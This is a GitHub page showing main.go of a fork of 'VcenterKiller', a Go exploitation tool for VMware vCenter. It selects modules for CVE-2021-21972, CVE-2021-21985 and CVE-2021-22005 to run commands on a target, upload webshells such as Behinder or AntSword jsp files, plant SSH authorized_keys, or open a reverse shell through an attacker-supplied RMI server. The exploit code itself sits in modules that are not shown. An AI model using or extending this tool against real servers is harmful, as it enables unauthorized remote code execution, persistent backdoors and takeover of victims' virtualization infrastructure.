forked from Schira4396/VcenterKiller
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
92 lines (85 loc) · 1.95 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package main
import (
"GO_VCENTER/src/c_21972"
"GO_VCENTER/src/c_21985"
"GO_VCENTER/src/c_22005"
"flag"
"fmt"
"io/ioutil"
"os"
)
var (
h bool
url string
filename string
cve string
command string
proxy string
exp_type string
rmi string
)
func usage() {
fmt.Println(`Usage of main.exe:
-u string
you target, example: https://192.168.1.1
-m string
you selected cve code, example: 21972 or 22205 or 21985
-c string
you want execute command, example: "whoami"
-f string
to upload webshell, expamle: behinder.jsp or antsword.jsp or gozllia.jsp
-t string
for CVE-2021-21972, use "ssh" to get ssh shell, not webshell`)
}
func banner() {
ban := `
__ __ _ _ ___ _ _
\ \ / /__ ___ _ __ | |_ ___ _ __ | |/ (_) | | ___ _ __
\ \ / / __/ _ \ '_ \| __/ _ \ '__| | ' /| | | |/ _ \ '__|
\ V / (_| __/ | | | || __/ | | . \| | | | __/ |
\_/ \___\___|_| |_|\__\___|_| |_|\_\_|_|_|\___|_| by schira4396
`
fmt.Println(ban)
}
func main() {
flag.StringVar(&url, "u", "", "your target")
flag.StringVar(&filename, "f", "", "filename")
flag.StringVar(&cve, "m", "", "select cve")
flag.StringVar(&command, "c", "", "command")
flag.StringVar(&exp_type, "t", "", "CVE-2021-21972 Module")
flag.StringVar(&rmi, "r", "", "rmi server address")
flag.Usage = usage
flag.Parse()
banner()
if len(os.Args) == 1 {
usage()
os.Exit(0)
}
fmt.Println("[*] url: " + url)
switch cve {
case "22205":
{
c_22005.Test(url, filename)
}
case "21985":
{
if exp_type == "rshell" {
c_21985.Exploit(url, rmi)
} else {
c_21985.Attack(url, command)
}
}
case "21972":
{
t, err := ioutil.ReadFile(filename)
_ = err
fmt.Println(string(t))
if exp_type == "ssh" {
c_21972.Upload_ssh_authorized_keys(url, string(t))
} else {
c_21972.Upload_windows_shell(url, string(t))
c_21972.Upload_linux_shell(url, string(t))
}
}
}
}